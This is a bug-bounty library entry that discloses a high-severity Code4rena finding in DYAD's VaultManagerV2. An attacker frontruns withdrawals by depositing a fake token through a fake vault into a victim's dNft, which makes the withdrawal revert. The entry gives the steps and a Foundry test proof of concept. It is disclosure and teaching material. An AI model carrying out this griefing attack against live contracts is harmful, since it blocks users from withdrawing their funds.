# Attacker can frontrun user's withdrawals to make them revert without costs

Anyone can deposit a fake token via a fake vault into a victim's dNft, setting idToBlockOfLastDeposit and reverting their withdrawal in the same block at zero cost.

- Payout: Audit contest
- Severity: high
- Program: DYAD
- Found by: Limbooo
- Disclosed: 2024-06-17
- Write-up quality: 7/10
- Original: https://github.com/code-423n4/2024-04-dyad-findings/issues/930
- Library page: https://bugbountylibrary.com/r/c4%3A2024-04-dyad%3AH-04
- Tags: area:web3 domain:web3 impact:dos kind:contest platform:code4rena sev:high tech:evm tech:solidity technique:race-window technique:source-review vuln:business-logic vuln:dos

**Target:** VaultManagerV2 deposit/withdraw flash-loan protection
**Root cause:** deposit() is callable by anyone for any valid dNft id and unconditionally sets idToBlockOfLastDeposit[id]=block.number, while withdraw() reverts if that equals the current block. No ownership or vault-licensing check gates the write.
**Steps:**
1. Alice mints dNft, adds WETH vault, deposits 1 WETH.
2. Attacker deploys FakeERC20 and a Vault over it, approves VaultManagerV2.
3. Attacker calls `vaultManager.deposit(aliceDnftId, address(fakeVault), 1 ether)` in the same block as Alice's withdrawal, setting `idToBlockOfLastDeposit[id]=block.number`.
4. Alice's `withdraw(id, ethVault, 1 ether, alice)` reverts with `DepositedInSameBlock()`.
5. Attacker repeats each block at no real cost since fake tokens are worthless.
**How found:** Code reading of deposit()/withdraw() flash-loan protection: noticed deposit() lacks owner/licensed-vault checks yet writes the same-block guard used by withdraw(), enabling permissionless griefing.
**Exploitation:** Attacker frontruns every withdrawal transaction with a deposit of a worthless fake token through an unlicensed fake vault into the victim's dNft id, forcing DepositedInSameBlock revert. Costs only gas on fake tokens; can be sustained indefinitely to grief/block withdrawals.
**Insight:** When a same-block guard is written by one function and read by another, check who can write it: any permissionless deposit path into a victim's position becomes a free griefing primitive against withdrawals.

## Proof of concept (copied exactly from the original report)

**Foundry PoC frontrunning withdrawal with fake vault**

```
function testPoC_attackerCanFrontRunUserWithdrawalsToPreventThemFromWithdrawing() public {
        // Make a new address for alice, and mint some ether.
        address alice = makeAddr('alice');
        vm.deal(alice, 2 ether);

        // Misc addresses (WETH and WETH Vault).
        address weth =     address(contracts.ethVault.asset());
        address ethVault = address(contracts.ethVault);

        // Alice start interaction
        vm.startPrank(alice);

        // Mint new dNft token for alice
        uint dNftId = contracts.vaultManager.dNft().mintNft{value: 1 ether}(alice);

        // Add WETH vault to the newly created dNft
        contracts.vaultManager.add(dNftId, ethVault);
        // Deposit Ether to WETH contract to mint weth tokens
        (bool success, ) = weth.call{value: 1 ether}(abi.encodeWithSignature("deposit()"));
        require(success);
        // Deposit Weth to vault through Vault Manager 
        contracts.ethVault.asset().approve(address(contracts.vaultManager), 1 ether);
        contracts.vaultManager.deposit(dNftId, ethVault, 1 ether);

        vm.stopPrank();
        vm.roll(block.number + 1);

        // attacker approve vault manager to spend his fake erc20
        vm.startPrank(attacker);
        fakeVault.asset().approve(address(contracts.vaultManager), type(uint256).max);

        // whenever alice try to withdraw, attacker front-runs alice and make him unable to withdraw at current block
        // by depositing to alice's dNft a fake token with fake vault
        contracts.vaultManager.deposit(dNftId, address(fakeVault), 1 ether);
        vm.stopPrank();

        // alice try to withdraw but the call reverted with DepositedInSameBlock error 
        // indicate that the attacker success to prevent the withdrawal
        vm.expectRevert(IVaultManager.DepositedInSameBlock.selector);
        vm.prank(alice);
        contracts.vaultManager.withdraw(dNftId, ethVault, 1 ether, alice);
    }
```

